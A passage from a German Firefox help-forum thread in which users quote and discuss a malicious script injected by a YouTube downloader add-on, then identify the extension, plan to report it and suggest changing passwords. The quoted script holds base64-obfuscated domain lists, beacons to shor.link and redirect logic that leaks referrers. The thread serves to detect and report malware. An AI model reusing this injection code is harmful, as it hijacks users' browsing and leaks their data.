        'bW9ibHkuY29tLmJy': 1,
        'bGl2cmFyaWEuZm9saGEuY29tLmJy': 1,
        'YW5uYXBlZ292YS5jb20uYnI=': 1,
        'ZXhwZWRpYS5pdA==': 1,
        'ZWRyZWFtcy5pdA==': 1,
        'c2t5c2Nhbm5lci5pdA==': 1,
        'c2l4dC5lcw==': 1,
        'c2t5c2Nhbm5lci5lcw==': 1,
        'dHJpcGFkdmlzb3IuaXQ=': 1,
        'b3N0aW4uY29t': 1,
        'bWVkaWFtYXJrdC5ydQ==': 1,
        'cGxlZXIucnU=': 1,
        'b2xkaS5ydQ==': 1,
        'c3Z5YXpub3kucnU=': 1,
        'c2hvcGNsdWVzLmNvbQ==': 1,
        'dGF0YWNsaXEuY29t': 1,
        'Ymlncm9jay5pbg==': 1,
        'bWFrZW15dHJpcC5jb20=': 1,
        'YmlnYmFza2V0LmNvbQ==': 1,
        'YW1hem9uLmlu': 1,
        'ZXhwZWRpYS5mcg==': 1,
        'ZmxpeGJ1cy5mcg==': 1,
        'YmVsYW1icmEuZnI=': 1,
        'b3VpZ28uY29t': 1,
        'cGVnaXBlZ2kuY29t': 1,
        'bGF6YWRhLmNvbS5waA==': 1,
        'bGF6YWRhLmNvbS5teQ==': 1,
        'bGF6YWRhLmNvLmlk': 1,
        'bGF6YWRhLnNn': 1,
        'ZXhwZWRpYS5jb20uaGs=': 1,
        'ZXhwZWRpYS5jby5pbg==': 1,
        'ZXhwZWRpYS5jby5rcg==': 1,
        'ZXhwZWRpYS5jb20udHc=': 1,
        'ZXhwZWRpYS5jb20ucGg=': 1,
        'ZXhwZWRpYS5jby50aA==': 1,
        'ZXhwZWRpYS5jby5pZA==': 1,
        'ZXhwZWRpYS5jb20ubXk=': 1,
        'ODg4LmNvbQ==': 1,
        'ODg4Lml0': 1,
        'ODg4LnJv': 1,
        'ODg4Y2FzaW5vLmNvbQ==': 1,
        'ODg4Y2FzaW5vLmVz': 1,
        'ODg4Y2FzaW5vLml0': 1,
        'ODg4Y2FzaW5vLmRr': 1,
        'ODg4Y2FzaW5vLnJv': 1,
        'ODg4cG9rZXIuY29t': 1,
        'ODg4cG9rZXIuZXM=': 1,
        'ODg4cG9rZXIucm8=': 1,
        'ODg4cG9rZXIuZGs=': 1,
        'ODg4c3BvcnQuY29t': 1,
        'ODg4c3BvcnQuZXM=': 1,
        'ODg4c3BvcnQuaXQ=': 1,
        'ODg4c3BvcnQuZGs=': 1,
        'ODg4c3BvcnQucm8=': 1
    };
    if (a[host]) return true;
    else return false
}

function theCheckSt(host) {
    var a = {
        'ZHVja2R1Y2tnby5jb20=': 1
    };
    if (a[host]) return true;
    else return false
}

function gG() {
    var raw = navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./);
    return ''
}

function appendR() {
    if (document.referrer) var s = '?re=' + btoa(encodeURI(document.referrer)) + '&t=i&w=ob&c=' + gG() + '&co=REU=&i=Y29udmVydGVy';
    else var s = '?t=i&w=ob&c=' + gG() + '&co=REU=&i=Y29udmVydGVy';
    if (gG() >= 68) s = s + '&pm=1';
    return s
}

function theCall(version, hash) {
    var r = new XMLHttpRequest();
    r.open('GET', '//' + 'shor.link' + '/s/' + hash + '/', true);
    r.onreadystatechange = function() {
        if (r.readyState != 4 || r.status != 200) return
    };
    r.send('')
}

function theInsCheck() {
    if (typeof(Storage) !== 'undefined') {
        if (!localStorage.getItem('_ins')) {
            theCall('1', 'i');
            localStorage.setItem('_ins', 1);
            localStorage.setItem('_ins_t', new Date().getTime())
        } else {}
    } else {}
}
if (self != top) {
    var to = Date.now() / 1000 | 0;
    var key = 'c3RhdGljeGV2LmNvbQ==';
    if (!(to % 5)) theInsCheck();
    var d = trouverDom();
    if (theCheck(btoa(d))) {
        window.location.href = '//shor.link/s/r/' + appendR()
    } else if (theCheckSt(btoa(d))) {
        window.location.href = '//' + atob(key) + '/s/s/' + appendR()
    } else {
        parent.postMessage('{"__catch__":1}', '*')
    }
}

Alles anzeigen

Was auch immer, das sieht nicht gut aus.

Zitronella

kommt mit ziemlicher Sicherheit von der Erweiterung

Code

Name: YouTube Downloader
Version: 4.13
Aktiviert: true
ID: YouTube@develop.com

gefunden in einem russischem Forum https://joomlaforum.ru/index.php/topic,351854.0.html Die Erweiterung gibt es nicht mehr auf AMO war aber definitiv dort mal gelistet siehe google cache

Ich wäre dir übrigens sehr dankbar wenn du mir deinen Ordner "extensions" aus deinem Profilordner gezippt zusenden würdest per PN

Dort stehen keine persönlichen Infos drin, aber ich möchte gerne diese und ggf. weitere Erweiterungen weiter erforschen und ggf. zum blocken melden (falls ich noch etwas finde)

bege

Zitat von Zitronella
kommt mit ziemlicher Sicherheit von der Erweiterung
Code
Name: YouTube Downloader
Version: 4.13
Aktiviert: true
ID: YouTube@develop.com
gefunden in einem russischem Forum https://joomlaforum.ru/index.php/topic,351854.0.html Die Erweiterung gibt es nicht mehr auf AMO war aber definitiv dort mal gelistet siehe google cache
Ich wäre dir übrigens sehr dankbar wenn du mir deinen Ordner "extensions" aus deinem Profilordner gezippt zusenden würdest per PN
Dort stehen keine persönlichen Infos drin, aber ich möchte gerne diese und ggf. weitere Erweiterungen weiter erforschen und ggf. zum blocken melden (falls ich noch etwas finde)

Danke für den Hinweis. Es ist nicht der YouTube Downloader (ein anderer, als der von dir verlinkte, aber auch nicht mehr auf AMO), sondern der YouTube Converter & Downloader, der noch in AMO gelistet ist https://addons.mozilla.org/de/firefox/add…r-downloader-x/

Es ist vielleicht 2 Monate her, dass ich die beiden Erweiterungen von AMO installiert habe, um sie zu testen. Beide haben unterschiedliche Features, mich hat insbesondere interessiert, nur Audio-Dateien herunterzuladen.

Ich habe die nicht mehr gelistete Erweiterung deinstalliert (nach dem schicken des Ordners "extensions"), die andere erst mal deaktiviert.

Zitronella

Zitat von bege

Danke für den Hinweis. Es ist nicht der YouTube Downloader, sondern der YouTube Converter & Downloader, der noch in AMO gelistet ist https://addons.mozilla.org/de/firefox/add…r-downloader-x/

Habe auch nie etwas anderes behauptet

Ich werde die schädliche Erweiterung melden.

Da auf sämtlichen Seiten Skripte durch diese Erweiterung eingefügt wurden würde ich an deiner Stelle alle Logindaten/Passwörter ändern.

bege

Zitat von Zitronella

Ich werde die schädliche Erweiterung melden.
Da auf sämtlichen Seiten Skripte durch diese Erweiterung eingefügt wurden würde ich an deiner Stelle alle Logindaten/Passwörter ändern.

Puh, das ist ja ne Nachricht :-[

Danke.

Hat mich ublock vor dem Schlimmsten bewahrt, weil ich "object.center" nicht zugelassen habe?

Off topic: Und das trotz all der Änderungen im Fx aus Sicherheitsgründen!?